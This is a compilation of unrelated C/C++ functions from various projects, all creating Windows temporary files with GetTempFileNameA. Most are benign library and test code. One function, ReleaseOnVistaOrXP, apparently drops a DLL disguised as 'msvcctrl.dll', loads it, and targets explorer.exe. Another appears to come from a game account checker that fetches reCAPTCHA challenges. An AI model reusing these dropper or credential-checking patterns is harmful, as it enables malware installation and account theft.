bool createTempFile() { char tempfile_path[MAX_PATH]; int res; res = GetTempPathA(MAX_PATH, tempfile_path); if (res > MAX_PATH || res == 0) return false; res = GetTempFileNameA(tempfile_path, NULL, 0, tempfile_name); if (res == 0) return false; // FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE tempfile = CreateFileA(tempfile_name, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (tempfile == INVALID_HANDLE_VALUE) return false; return true; }
static void test_invalid_callbackA(void) { BOOL ret; char source[MAX_PATH], temp[MAX_PATH]; GetTempPathA(sizeof(temp), temp); GetTempFileNameA(temp, "doc", 0, source); create_source_fileA(source, comp_cab_zip_multi, sizeof(comp_cab_zip_multi)); SetLastError(0xdeadbeef); ret = SetupIterateCabinetA(source, 0, NULL, NULL); ok(!ret, "Expected SetupIterateCabinetA to return 0, got %d\n", ret); ok(GetLastError() == ERROR_INVALID_DATA, "Expected GetLastError() to return ERROR_INVALID_DATA, got %u\n", GetLastError()); SetLastError(0xdeadbeef); ret = SetupIterateCabinetA(source, 0, crash_callbackA, NULL); ok(!ret, "Expected SetupIterateCabinetA to return 0, got %d\n", ret); ok(GetLastError() == ERROR_INVALID_DATA, "Expected GetLastError() to return ERROR_INVALID_DATA, got %u\n", GetLastError()); DeleteFileA(source); }
/* good2() reverses the bodies in the if statement */ static void good2() { if(GLOBAL_CONST_TRUE) { { char filename[MAX_PATH] = ""; int fileDesc; /* FIX: Passing a non-zero value in for uUnique prevents GetTempFileName from creating * and then closing the file, at the cost of no longer guaranteeing the name is unique. */ /* INCIDENTAL CWE338 Weak PRNG - use of rand() as a PRNG */ if (GetTempFileNameA(".", "good", rand() + 1, filename) == 0) { exit(1); } printLine(filename); /* FIX: Open a temporary file using open() and the O_CREAT and O_EXCL flags * NOTE: This is not a perfect solution, but it is the base case scenario */ fileDesc = OPEN(filename, O_RDWR|O_CREAT|O_EXCL, S_IREAD|S_IWRITE); if (fileDesc != -1) { printLine("Temporary file was opened...now closing file"); CLOSE(fileDesc); } } } }
std::string DVLib::GetTemporaryFileNameA() { char tf[MAX_PATH]; CHECK_WIN32_BOOL(GetTempFileNameA(GetTemporaryDirectoryA().c_str(), "DV", 0, tf), L"GetTempFileNameA"); return tf; }
static BOOL create_test_file(char *temp_file) { char temp_path[MAX_PATH]; DWORD ret, written; HANDLE h; ret = GetTempPathA(sizeof(temp_path), temp_path); ok(ret, "Failed to get a temp path, err %d\n", GetLastError()); if (!ret) return FALSE; ret = GetTempFileNameA(temp_path, "mmio", 0, temp_file); ok(ret, "Failed to get a temp name, err %d\n", GetLastError()); if (!ret) return FALSE; h = CreateFileA(temp_file, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); ok(h != INVALID_HANDLE_VALUE, "Failed to create a file, err %d\n", GetLastError()); if (h == INVALID_HANDLE_VALUE) return FALSE; ret = WriteFile(h, RIFF_buf, sizeof(RIFF_buf), &written, NULL); ok(ret, "Failed to write a file, err %d\n", GetLastError()); CloseHandle(h); if (!ret) DeleteFileA(temp_file); return ret; }
static BOOL copy_dll_file(void) { char sys_dir[MAX_PATH+15]; char temp_path[MAX_PATH]; if (GetSystemDirectoryA(sys_dir, MAX_PATH) == 0) { skip("Failed to get system directory. Skipping certificate/PE image tests.\n"); return FALSE; } if (sys_dir[lstrlenA(sys_dir) - 1] != '\\') lstrcatA(sys_dir, "\\"); lstrcatA(sys_dir, "imagehlp.dll"); /* Copy DLL to a temp file */ GetTempPathA(MAX_PATH, temp_path); GetTempFileNameA(temp_path, "img", 0, test_dll_path); if (CopyFileA(sys_dir, test_dll_path, FALSE) == 0) { skip("Unable to create copy of imagehlp.dll for tests.\n"); return FALSE; } return TRUE; }
int __cdecl main(int argc, char *argv[]) { UINT uiError = 0; DWORD dwError = 0; const UINT uUnique = 0; const char* szDot = {"."}; const char* szValidPrefix = {"cfr"}; char szReturnedName[256]; DWORD i; if (0 != PAL_Initialize(argc, argv)) { return FAIL; } /* test the number of temp files that can be created */ for (i = 0; i < 0x10005; i++) { uiError = GetTempFileNameA(szDot, szValidPrefix, uUnique, szReturnedName); if (uiError == 0) { dwError = GetLastError(); if (dwError == ERROR_FILE_EXISTS) { /* file already existes so break out of the loop */ i--; /* decrement the count because it wasn't successful */ break; } else { /* it was something other than the file already existing? */ Fail("GetTempFileNameA: ERROR -> Call failed with a valid " "path and prefix with the error code: %ld\n", GetLastError()); } } else { /* verify temp file was created */ if (GetFileAttributesA(szReturnedName) == -1) { Fail("GetTempFileNameA: ERROR -> GetFileAttributes failed " "on the returned temp file \"%s\" with error code: %ld.\n", szReturnedName, GetLastError()); } } } /* did it create more than 0xffff files */ if (i > 0xffff) { Fail("GetTempFileNameA: ERROR -> Was able to create more than 0xffff" " temp files.\n"); } PAL_Terminate(); return PASS; }
int ReleaseOnVistaOrXP(const union client_cfg& cfg, bool isXP) { char szTempPath[MAX_PATH], szTempFilePath[MAX_PATH]; if(0 == GetTempPathA(MAX_PATH, szTempPath)) return -1; if(0 == GetTempFileNameA(szTempPath, "dll", 0, szTempFilePath)) return false; if(ReleaseFile(szTempFilePath, cfg, SVRCTRL_DLL) < 0) return -1; if(isXP) { char dllName[MAX_PATH] = {0}; _snprintf(dllName, MAX_PATH, "%s\\%s", szTempPath, "msvcctrl.dll"); DeleteFileA(dllName); MoveFileA(szTempFilePath, dllName); LoadLibraryA(dllName); return 0; } HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnapshot == INVALID_HANDLE_VALUE) return -1; tagPROCESSENTRY32 pe; ZeroMemory(&pe, sizeof(pe)); pe.dwSize = sizeof(pe); BOOL bPR = Process32First(hSnapshot, &pe); DWORD pid = 0; while(bPR) { HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProc != 0) CloseHandle(hProc); if(strcmp(pe.szExeFile, "explorer.exe") == 0) { pid = pe.th32ProcessID; break; } bPR = Process32Next(hSnapshot, &pe); } wchar_t filename[MAX_PATH] = {0}; int len = MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), NULL, 0); if(len < 0 || len > MAX_PATH) return -1; MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), filename, len); wchar_t szCmd[MAX_PATH] = {0}, szDir[MAX_PATH] = {0}, szPathToSelf[MAX_PATH] = {0}; wchar_t strOurDllPath[MAX_PATH] = {0}; GetSystemDirectoryW(szDir, sizeof(szDir)); GetSystemDirectoryW(szCmd, sizeof(szCmd)); wcscat(szCmd, L"\\cmd.exe"); GetModuleFileNameW(NULL, szPathToSelf, MAX_PATH); AttemptOperation( true, true, pid, L"explorer,exe", szCmd, L"", szDir, filename); return 0; }
/* Copied from the process test */ static void get_file_name(char* buf) { char path[MAX_PATH]; buf[0] = '\0'; GetTempPathA(sizeof(path), path); GetTempFileNameA(path, "wt", 0, buf); }
static void test_inffilelistA(void) { static const char inffile2[] = "test2.inf"; static const char *inf = "[Version]\n" "Signature=\"$Chicago$\""; char buffer[MAX_PATH] = { 0 }; char dir[MAX_PATH], *p; DWORD expected, outsize; BOOL ret; if(!pSetupGetInfFileListA) { win_skip("SetupGetInfFileListA not present\n"); return; } /* create a private directory, the temp directory may contain some * inf files left over from old installations */ if (!GetTempFileNameA(CURR_DIR, "inftest", 1, dir)) { win_skip("GetTempFileNameA failed with error %d\n", GetLastError()); return; } if (!CreateDirectoryA(dir, NULL )) { win_skip("CreateDirectoryA(%s) failed with error %d\n", dir, GetLastError()); return; } if (!SetCurrentDirectoryA(dir)) { win_skip("SetCurrentDirectoryA failed with error %d\n", GetLastError()); RemoveDirectoryA(dir); return; } create_inf_file(inffile, inf); create_inf_file(inffile2, inf); /* mixed style */ expected = 3 + strlen(inffile) + strlen(inffile2); ret = pSetupGetInfFileListA(dir, INF_STYLE_OLDNT | INF_STYLE_WIN4, buffer, MAX_PATH, &outsize); ok(ret, "expected SetupGetInfFileListA to succeed!\n"); ok(expected == outsize, "expected required buffersize to be %d, got %d\n", expected, outsize); for(p = buffer; lstrlenA(p) && (outsize > (p - buffer)); p+=lstrlenA(p) + 1) ok(!lstrcmpA(p,inffile2) || !lstrcmpA(p,inffile), "unexpected filename %s\n",p); DeleteFileA(inffile); DeleteFileA(inffile2); SetCurrentDirectoryA(CURR_DIR); RemoveDirectoryA(dir); }
static BOOL CDECL fci_get_temp( char *name, int size, void *ptr ) { char path[MAX_PATH]; if (!GetTempPathA( MAX_PATH, path )) return FALSE; if (!GetTempFileNameA( path, "cab", 0, name )) return FALSE; DeleteFileA( name ); return TRUE; }
FILE * fake_popen(const char * command, const char * type) { FILE * f = NULL; char tmppath[MAX_PATH]; char tmpfile[MAX_PATH]; DWORD ret; if (type == NULL) return NULL; pipe_type = NUL; if (pipe_filename != NULL) free(pipe_filename); /* Random temp file name in %TEMP% */ ret = GetTempPathA(sizeof(tmppath), tmppath); if ((ret == 0) || (ret > sizeof(tmppath))) return NULL; ret = GetTempFileNameA(tmppath, "gpp", 0, tmpfile); if (ret == 0) return NULL; pipe_filename = gp_strdup(tmpfile); if (*type == 'r') { char * cmd; int rc; LPWSTR wcmd; pipe_type = *type; /* Execute command with redirection of stdout to temporary file. */ cmd = (char *) malloc(strlen(command) + strlen(pipe_filename) + 5); sprintf(cmd, "%s > %s", command, pipe_filename); wcmd = UnicodeText(cmd, encoding); rc = _wsystem(wcmd); free(wcmd); free(cmd); /* Now open temporary file. */ /* system() returns 1 if the command could not be executed. */ if (rc != 1) { f = fopen(pipe_filename, "r"); } else { remove(pipe_filename); free(pipe_filename); pipe_filename = NULL; errno = EINVAL; } } else if (*type == 'w') { pipe_type = *type; /* Write output to temporary file and handle the rest in fake_pclose. */ if (type[1] == 'b') int_error(NO_CARET, "Could not execute pipe '%s'. Writing to binary pipes is not supported.", command); else f = fopen(pipe_filename, "w"); pipe_command = gp_strdup(command); } return f; }
FILE* tmpfile( void ) { if(!tmpname_prefix[0]) { char namebuf[MAX_PATH+1]; DWORD res = GetModuleFileNameA(NULL, namebuf, MAX_PATH+1); if(res) { char * basename = strrchr(namebuf, '\\'); if(basename) { basename += 1; } else basename = namebuf; char* dot = strchr(basename, '.'); if(dot) *dot = 0; strncpy(tmpname_prefix, basename, 3); } else { // Error getting file name strcpy(tmpname_prefix, "PDU"); } } char tmpdir[MAX_PATH + 1]; DWORD rv = GetTempPathA(MAX_PATH + 1, tmpdir); if(rv == 0) { _PDCLIB_w32errno(); return NULL; } char name[MAX_PATH + 1]; rv = GetTempFileNameA(tmpdir, tmpname_prefix, 0, name); if(rv == 0) { _PDCLIB_w32errno(); return NULL; } /* OPEN_EXISTING as CreateTempFileName creates the file then closes the handle to it (to avoid race conditions as associated with e.g. tmpnam) */ HANDLE fd = CreateFileA(name, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_TEMPORARY, NULL); if(fd == INVALID_HANDLE_VALUE) { _PDCLIB_w32errno(); return NULL; } /* Set the file to delete on close */ DeleteFile(name); FILE* fs = _PDCLIB_fvopen(((_PDCLIB_fd_t){fd}), &_PDCLIB_fileops, _PDCLIB_FWRITE | _PDCLIB_FRW, name); if(!fs) { CloseHandle(fd); } return fs; }
static void get_temp_filename(LPSTR path) { CHAR temp[MAX_PATH]; LPSTR ptr; GetTempFileNameA(CURR_DIR, "set", 0, temp); ptr = strrchr(temp, '\\'); strcpy(path, ptr + 1); }
std::string xaml_device::get_raster_file_path() { // TODO: change this to use same folder/name as _filename // but with an incrementing integer suffix, and a .bmp extension char folderpath[1024]; char filepath[1024]; GetTempPathA(1024, folderpath); GetTempFileNameA(folderpath, "rt", 0, filepath); return std::string(filepath); }
static HANDLE create_temp_file( ULONG flags ) { char buffer[MAX_PATH]; HANDLE handle; GetTempFileNameA( ".", "foo", 0, buffer ); handle = CreateFileA(buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, flags | FILE_FLAG_DELETE_ON_CLOSE, 0); ok( handle != INVALID_HANDLE_VALUE, "failed to create temp file\n" ); return (handle == INVALID_HANDLE_VALUE) ? 0 : handle; }
bool load(const arguments & args_, std::string & result) { HMODULE dllHandle; RVExtension function; LOG(INFO) << "Load requested [" << args_.as_string(0) << "]"; if (_modules.find(args_.as_string(0)) != _modules.end()) { LOG(ERROR) << "Module already loaded [" << args_.as_string(0) << "]"; return true; } #ifdef _WINDOWS // Make a copy of the file to temp, and load it from there, referencing the current path name char tmpPath[MAX_PATH +1], buffer[MAX_PATH + 1]; if(!GetTempPathA(MAX_PATH, tmpPath)) { LOG(ERROR) << "GetTempPath() failed, e=" << GetLastError(); return false; } if(!GetTempFileNameA(tmpPath, "ace_dynload", TRUE, buffer)) { LOG(ERROR) << "GetTempFileName() failed, e=" << GetLastError(); return false; } std::string temp_filename = buffer; if (!CopyFileA(args_.as_string(0).c_str(), temp_filename.c_str(), FALSE)) { DeleteFile(temp_filename.c_str()); if (!CopyFileA(args_.as_string(0).c_str(), temp_filename.c_str(), FALSE)) { LOG(ERROR) << "CopyFile() , e=" << GetLastError(); return false; } } #else std::string temp_filename = args_.as_string(0); #endif dllHandle = LoadLibrary(temp_filename.c_str()); if (!dllHandle) { LOG(ERROR) << "LoadLibrary() failed, e=" << GetLastError() << " [" << args_.as_string(0) << "]"; return false; } function = (RVExtension)GetProcAddress(dllHandle, "_RVExtension@12"); if (!function) { LOG(ERROR) << "GetProcAddress() failed, e=" << GetLastError() << " [" << args_.as_string(0) << "]"; FreeLibrary(dllHandle); return false; } LOG(INFO) << "Load completed [" << args_.as_string(0) << "]"; _modules[args_.as_string(0)] = module(args_.as_string(0), dllHandle, function, temp_filename); return false; }
std::string CLoLChecker::GetCaptcha() { std::string strPicPath; if (this->HTTP->IsOpen() && this->HTTP->Connect(L"www.google.com", 443)) { if (this->HTTP->SendRequest(L"GET", L"/recaptcha/api/reload?c=03AHJ_VuurlCeu8nEIwl-k3nT9fX0IVYaxEic7cN-keN3loPs9NpCNO0W2B6bAvghY4ryJz9gJn_ovYsUIygOnourSkyFuCDOWY5T44uS5gw6PDyJmCGDN7fD6M_vno0uUfXbDNBVWtUpFPMaXVUHaTY412EAzR_n5s_f-HeLJF-nwIFpOea4jvNs3ss2tgTFgm_4U-b1h09FjXzDogkMLQWBOarYjEeUN1w&k=6LcwdeESAAAAAJg_ltVGdjrqlf7Bmbg449SyUcSW&reason=i&type=image", L"", "")) { std::string strResponse = reinterpret_cast<const char*>(this->HTTP->GetResponse().c_str()); DWORD dwChallangeStart = strResponse.find("('") + 2, dwChallangeEnd = strResponse.find("',", dwChallangeStart); this->captcha.strChallange = strResponse.substr(dwChallangeStart, dwChallangeEnd - dwChallangeStart); if (this->captcha.strChallange.size() > 0) { if (this->HTTP->Connect(L"www.google.com", 443)) { std::wstring strObj = std::wstring(L"/recaptcha/api/image?c=").append(StringToWString(this->captcha.strChallange)); if (this->HTTP->SendRequest(L"GET", strObj, L"", "")) { std::basic_string<byte> strResponse = this->HTTP->GetResponse(); char pwszTempPath[MAX_PATH]; if (GetTempPathA(MAX_PATH, pwszTempPath)) { char pwszTempFile[MAX_PATH]; if (GetTempFileNameA(pwszTempPath, "s3c", 0, pwszTempFile)) DeleteFileA(pwszTempFile); strPicPath = pwszTempFile; strPicPath.replace(strPicPath.find(".tmp"), 4, ".jpg"); DWORD dwPos = 0; FileIO output(strPicPath.c_str(), GENERIC_WRITE, CREATE_ALWAYS); if (output.open()) output.write(strResponse.c_str(), strResponse.size(), dwPos); } } } } } } return strPicPath; }
/* creates a temporary file with the data in it. If *filename_out gets set, * the caller should try to unlink it. */ int regress_make_tmpfile(const void *data, size_t datalen, char **filename_out) { #ifndef _WIN32 char tmpfilename[32]; int fd; *filename_out = NULL; strcpy(tmpfilename, "/tmp/eventtmp.XXXXXX"); #ifdef EVENT__HAVE_UMASK umask(0077); #endif fd = mkstemp(tmpfilename); if (fd == -1) return (-1); if (write(fd, data, datalen) != (int)datalen) { close(fd); return (-1); } lseek(fd, 0, SEEK_SET); /* remove it from the file system */ unlink(tmpfilename); return (fd); #else /* XXXX actually delete the file later */ char tmpfilepath[MAX_PATH]; char tmpfilename[MAX_PATH]; DWORD r, written; int tries = 16; HANDLE h; r = GetTempPathA(MAX_PATH, tmpfilepath); if (r > MAX_PATH || r == 0) return (-1); for (; tries > 0; --tries) { r = GetTempFileNameA(tmpfilepath, "LIBEVENT", 0, tmpfilename); if (r == 0) return (-1); h = CreateFileA(tmpfilename, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (h != INVALID_HANDLE_VALUE) break; } if (tries == 0) return (-1); written = 0; *filename_out = strdup(tmpfilename); WriteFile(h, data, (DWORD)datalen, &written, NULL); /* Closing the fd returned by this function will indeed close h. */ return _open_osfhandle((intptr_t)h,_O_RDONLY); #endif }
bool PackAggregate::resortFilePack(const char* pack, std::vector<PackAggregate::stFileInfo> & files) { char szDir[MAX_PATH] = { 0 }; char tmpFile[MAX_PATH] = { 0 }; char *p; strcpy(szDir, pack); p = strrchr(szDir, '\\'); if (p) *p = 0; if (!GetTempFileNameA(szDir, "pak", 0, tmpFile)) //创建0字节文件名为szDir.pak的文件 { return false; } if (!CopyFileA(pack, tmpFile, FALSE)) //把文件拷贝到临时文件夹 return false; Data mdata = FileUtils::getInstance()->getDataFromFile(tmpFile); PackAggregate::stPackHeader hdr; mdata.read(&hdr, sizeof(PackAggregate::stPackHeader)); size_t filesize = mdata.getSize(); mdata.setPosition(filesize - hdr.headerSize); std::vector<BYTE> tmpBuff; tmpBuff.resize(files.size() * sizeof(stFileInfo)); p = (char*)&tmpBuff[0]; for (size_t i = 0; i < files.size(); ++i) { stFileInfo1 * dst1 = (stFileInfo1*)p; stFileInfo & st = files[i]; p += sizeof(stFileInfo1); *dst1 = st.st1; char* pname = (char*)p; strcpy(pname, st.szName); p += strlen(pname) + 1; } size_t size = ((p - (char*)&tmpBuff[0]) + 7) & (~7); BYTE des_key[3][8]; PasswordToDesKey(PackAggregate::GetDefaultPassword(), des_key[0], des_key[1], des_key[2]); EncryptHeaderData(&tmpBuff[0], size, des_key[0], des_key[1], des_key[2]); mdata.write(&tmpBuff[0], size); FileUtils::getInstance()->writeDataToFile(tmpFile, mdata); return FileUtilsWin32::updateFile(tmpFile, pack); }
void OutCoreInterp::get_temp_file_name(char *fname, size_t fname_len) { const char *pfx = "grd"; char *tname = NULL; char tname_template[] = "/tmp/p2gXXXXXX"; #ifdef _WIN32 char dir[MAX_PATH]; DWORD gtpRetVal; tname = (char*) calloc(MAX_PATH, sizeof(char*)); if (tname == NULL) { throw std::logic_error("Could not allocate buffer for path to temporary file."); } gtpRetVal = GetTempPathA(MAX_PATH, dir); if (gtpRetVal == 0 || gtpRetVal > MAX_PATH) { throw std::logic_error("Could not retrieve path for temporary file."); } switch (GetTempFileNameA(dir, pfx, 0, tname)) { case 0: throw std::logic_error("Could not create temporary file."); break; case ERROR_BUFFER_OVERFLOW: throw std::logic_error("ERROR_BUFFER_OVERFLOW when creating temporary file."); break; } #else tname = mktemp(tname_template); // tname = tempnam(NULL, pfx); if (tname == NULL) { throw std::logic_error("Could not create temporary file."); } #endif size_t tname_len = strlen(tname); if (tname_len < fname_len) { strncpy(fname, tname, tname_len); fname[tname_len] = '\0'; } else { throw std::logic_error("Temporary file tname was too long for program buffer, aborting."); } // tname was not malloc'd, so free fails //free(tname); }
void GenerateTempFileName ( char alter * tempFileNameOut, char const * extension ) { #ifdef _MSC_VER char temp_dir[_MAX_DIR]; DWORD dir_len = 0; dir_len = GetTempPathA(_MAX_DIR, temp_dir); assert(dir_len != 0); assert(dir_len <= _MAX_DIR); UINT res = 0; res = GetTempFileNameA(temp_dir, "HOOPS", 0, tempFileNameOut); assert(res != 0); // if extension specified, replace .tmp with user-provided value if (extension) { char *old_extension = strrchr(tempFileNameOut, '.'); if (extension[0] == '.') old_extension[0] = 0; else old_extension[1] = 0; strcat(tempFileNameOut, extension); } #else strcpy(tempFileNameOut, "/tmp/tmpXXXXXX"); int ext_len = 0; if (extension) { if (extension[0] != '.') { strcat(tempFileNameOut, "."); ext_len += 1; } strcat(tempFileNameOut, extension); ext_len += strlen(extension); } else { strcat(tempFileNameOut, ".tmp"); ext_len += 4; } int fileDescriptor = mkstemps(tempFileNameOut, ext_len); if (fileDescriptor == -1) { printf("mkstemps call failed.\nerrno: %d\t%s\n", errno, strerror(errno)); tempFileNameOut[0] = 0; } else close(fileDescriptor); #endif }
static void make_tmp_file(LPSTR path) { static char curr[MAX_PATH] = { 0 }; char temp[MAX_PATH]; DWORD dwNumberOfBytesWritten; HANDLE hf; if (!*curr) GetCurrentDirectoryA(MAX_PATH, curr); GetTempFileNameA(curr, "net", 0, temp); lstrcpyA(path, temp); hf = CreateFileA(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hf, certWithCRLDistPoint, sizeof(certWithCRLDistPoint), &dwNumberOfBytesWritten, NULL); CloseHandle(hf); }
static BOOL CDECL get_temp_file(char *pszTempName, int cbTempName, void *pv) { LPSTR tempname; tempname = HeapAlloc(GetProcessHeap(), 0, MAX_PATH); GetTempFileNameA(".", "xx", 0, tempname); if (tempname && (strlen(tempname) < (unsigned)cbTempName)) { lstrcpyA(pszTempName, tempname); HeapFree(GetProcessHeap(), 0, tempname); return TRUE; } HeapFree(GetProcessHeap(), 0, tempname); return FALSE; }
static void test_simple_enumerationA(void) { BOOL ret; char source[MAX_PATH], temp[MAX_PATH]; int enum_count = 0; GetTempPathA(sizeof(temp), temp); GetTempFileNameA(temp, "doc", 0, source); create_source_fileA(source, comp_cab_zip_multi, sizeof(comp_cab_zip_multi)); ret = SetupIterateCabinetA(source, 0, simple_callbackA, &enum_count); ok(ret == 1, "Expected SetupIterateCabinetA to return 1, got %d\n", ret); ok(enum_count == sizeof(expected_files)/sizeof(char *), "Unexpectedly enumerated %d files\n", enum_count); DeleteFileA(source); }
std::string TestUtils::getTempFilename() { const long lLen = 256; char tmpFilename[lLen]; #if defined(_WIN32) || defined(_WIN64) char tmpDir[lLen]; GetTempPathA(lLen, tmpDir); GetTempFileNameA(tmpDir, "podofo", 0, tmpFilename); #else strncpy( tmpFilename, "/tmp/podofoXXXXXX", lLen); int handle = mkstemp(tmpFilename); close(handle); #endif // _WIN32 || _WIN64 printf("Created tempfile: %s\n", tmpFilename); std::string sFilename = tmpFilename; return sFilename; }
std::string get_temporary_directory(const std::string &name_template) { std::string result; #ifdef _WIN32 DWORD dwBufSize = MAX_PATH; char lpPathBuffer[MAX_PATH]; DWORD dwRetVal = GetTempPathA(dwBufSize, lpPathBuffer); if(dwRetVal > dwBufSize || (dwRetVal == 0)) throw "GetTempPath failed"; char t[MAX_PATH]; strncpy(t, name_template.c_str(), MAX_PATH); UINT uRetVal=GetTempFileNameA(lpPathBuffer, "TLO", 0, t); if(uRetVal == 0) throw "GetTempFileName failed"; unlink(t); if(_mkdir(t)!=0) throw "_mkdir failed"; result=std::string(t); #else std::string prefixed_name_template="/tmp/"; const char *TMPDIR_env=getenv("TMPDIR"); if(TMPDIR_env!=0) prefixed_name_template=TMPDIR_env; if(*prefixed_name_template.rbegin()!='/') prefixed_name_template+='/'; prefixed_name_template+=name_template; char t[1000]; strncpy(t, prefixed_name_template.c_str(), 1000); const char *td = mkdtemp(t); if(!td) throw "mkdtemp failed"; result=std::string(td); #endif return result; }
/*********************************************************************** * GetTempFileName (KERNEL.97) */ UINT16 WINAPI GetTempFileName16( BYTE drive, LPCSTR prefix, UINT16 unique, LPSTR buffer ) { char temppath[MAX_PATH]; char *prefix16 = NULL; UINT16 ret; if (!(drive & ~TF_FORCEDRIVE)) /* drive 0 means current default drive */ { GetCurrentDirectoryA(sizeof(temppath), temppath); drive |= temppath[0]; } if (drive & TF_FORCEDRIVE) { char d[3]; d[0] = drive & ~TF_FORCEDRIVE; d[1] = ':'; d[2] = '\0'; if (GetDriveTypeA(d) == DRIVE_NO_ROOT_DIR) { drive &= ~TF_FORCEDRIVE; WARN("invalid drive %d specified\n", drive ); } } if (drive & TF_FORCEDRIVE) sprintf(temppath,"%c:", drive & ~TF_FORCEDRIVE ); else GetTempPathA( MAX_PATH, temppath ); if (prefix) { prefix16 = HeapAlloc(GetProcessHeap(), 0, strlen(prefix) + 2); *prefix16 = '~'; strcpy(prefix16 + 1, prefix); } ret = GetTempFileNameA( temppath, prefix16, unique, buffer ); HeapFree(GetProcessHeap(), 0, prefix16); return ret; }
std::shared_ptr<cex::IString> Util::CreateUniqueTempFile() { //HANDLE hMutex = CreateMutexA(NULL, FALSE, "CreateUniqueTempFile"); //if (NULL == hMutex) //{ // assert(false);//Error("Create mutex error."); // return false; //} //DWORD dw = WaitForSingleObject(hMutex, 10000); //if (WAIT_FAILED == dw) //{ // assert(false);//Error("Wait for mutex error."); // CloseHandle(hMutex); // 释放句柄,当指向同一系统对象的所有句柄释放后,该对象将被删除。 // return false; //} //else if (WAIT_TIMEOUT == dw) //{ // // 另外一个实例正在运行 // CloseHandle(hMutex); // assert(false); // return false; //} //Get the temporary files directory. char szTempPath[MAX_PATH]; DWORD dwResult=:: GetTempPathA(MAX_PATH, szTempPath); assert(dwResult); //Create a unique temporary file. char szTempFile[MAX_PATH]; UINT nResult=GetTempFileNameA(szTempPath, "~dc", 0,szTempFile); assert (nResult); std::shared_ptr<cex::IString> filename = cex::DeltaCreateRef<cex::IString>(); filename->assign(szTempFile); //ReleaseMutex(hMutex); // 释放hMutex的持有权,注意这并不等同于删除Mutex对象 //CloseHandle(hMutex); return filename; }
std::string file_make_temp(const std::string &prefix, const std::string &suffix) { internal_assert(prefix.find("/") == string::npos && prefix.find("\\") == string::npos && suffix.find("/") == string::npos && suffix.find("\\") == string::npos); #ifdef _WIN32 // Windows implementations of mkstemp() try to create the file in the root // directory, which is... problematic. char tmp_path[MAX_PATH], tmp_file[MAX_PATH]; DWORD ret = GetTempPathA(MAX_PATH, tmp_path); internal_assert(ret != 0); // Note that GetTempFileNameA() actually creates the file. ret = GetTempFileNameA(tmp_path, prefix.c_str(), 0, tmp_file); internal_assert(ret != 0); return std::string(tmp_file); #else std::string templ = "/tmp/" + prefix + "XXXXXX" + suffix; // Copy into a temporary buffer, since mkstemp modifies the buffer in place. std::vector<char> buf(templ.size() + 1); strcpy(&buf[0], templ.c_str()); int fd = mkstemps(&buf[0], suffix.size()); internal_assert(fd != -1) << "Unable to create temp file for (" << &buf[0] << ")\n"; close(fd); return std::string(&buf[0]); #endif }